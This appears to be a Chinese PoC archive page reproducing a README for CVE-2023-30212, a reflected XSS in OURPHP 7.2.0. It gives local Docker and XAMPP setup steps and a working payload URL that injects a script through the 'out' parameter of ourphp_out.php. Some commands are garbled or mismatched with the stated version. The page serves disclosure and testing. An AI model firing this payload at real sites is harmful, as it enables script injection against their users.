目标达成 感谢每一位支持者 — 我们达成了 100% 目标!

目标: 1000 元 · 已筹: 1359 元

100%

CVE-2023-30212 PoC — OURPHP 跨站脚本漏洞

来源
关联漏洞
标题: OURPHP 跨站脚本漏洞 (CVE-2023-30212)
Description:OURPHP是OURPHP开源的一个开源、跨平台、企业级+电商+小程序+APP多终端同步的CMS建站系统。 OURPHP 7.2.0版本及之前版本存在安全漏洞,该漏洞源于通过文件ourphp_out.php发现包含跨站脚本(XSS)漏洞。
介绍
# CVE-2023-30212
Exploiting vulnerability in Ourphp version 7.2.0 also called CVE 2023 30212



Step 1. Download and install Docker in your system
(Note). I am using Docker because it’s quick and easy to install ubuntu.



Step 2. Setup Docker environment 
    
    docker pull ubuntu
    docker run -d -t –name test-container -p 80:80 -p 443:44
    3 -p 3306:3306 -p 21:21 ubuntu
    Docker exec -it test-container bash


Step 3. Install web server, php & mysql. I will be installing xampp server for this.

    wget https://liquidtelecom.dl.sourceforge.net/project/xampp/XAMPP%20Linux/7.2.0/xampp-linux-x64-7.2.0-0-installer.run 
    chmod +x xampp-linux-x64-7.2.0-0-installer.run
    ./xampp-linux-x64-7.2.0-0-installer.run
    /opt/lampp/lampp start



Step 4. Download Ourphp version 7.2.0

    wget https://zdown.chinaz.com/202305/ourphp-zyb-v7.5.0.20230515.zip
    unzip ourphp-zyb-v7.5.0.20230515.zip /opt/lampp/htdocs/
    chmod -R 775



Step 5. Setup Ourphp on browser
Open your browser and enter localhost or 127.0.0.1
Follow the instruction and install Ourphp.



Step 6. Exploiting the vulnerability 
Ourphp 7.2.0 version has a vulnerability to XSS (Cross-Site Scripting). 
To mitigate the vulnerability in the /client/manage/ourphp_out.php file that allows for the execution of XSS code, 

you need to modify the code. The vulnerability arises when the "ourphp_admin" parameter is set to "logout," and the controllable variable "out" is echoed. 


Attackers can exploit this by injecting a payload such as "</script><script>alert(xss)</script>".

    Code: http://localhost/client/manage/ourphp_out.php?ourphp_admin=logout&out=</script><script>alert('xss')</script>
![Screenshot 2023-05-29 135740](https://github.com/kai-iszz/CVE-2023-30212/assets/134775469/4c42fe02-6606-4db7-848c-91eae2e89d3e)
文件快照

登录后查看神龙缓存的 POC 文件快照

登录查看
备注
    1. 建议优先通过来源进行访问。
    2. 本地 POC 快照面向订阅用户开放;当原始来源失效或无法访问时,本地镜像作为订阅权益的一部分提供。
    3. 持续抓取、验证、维护这份 POC 档案需要不少投入,因此本地快照已纳入付费订阅。您的订阅是让这份资料能继续走下去的关键,由衷感谢。 查看订阅方案 →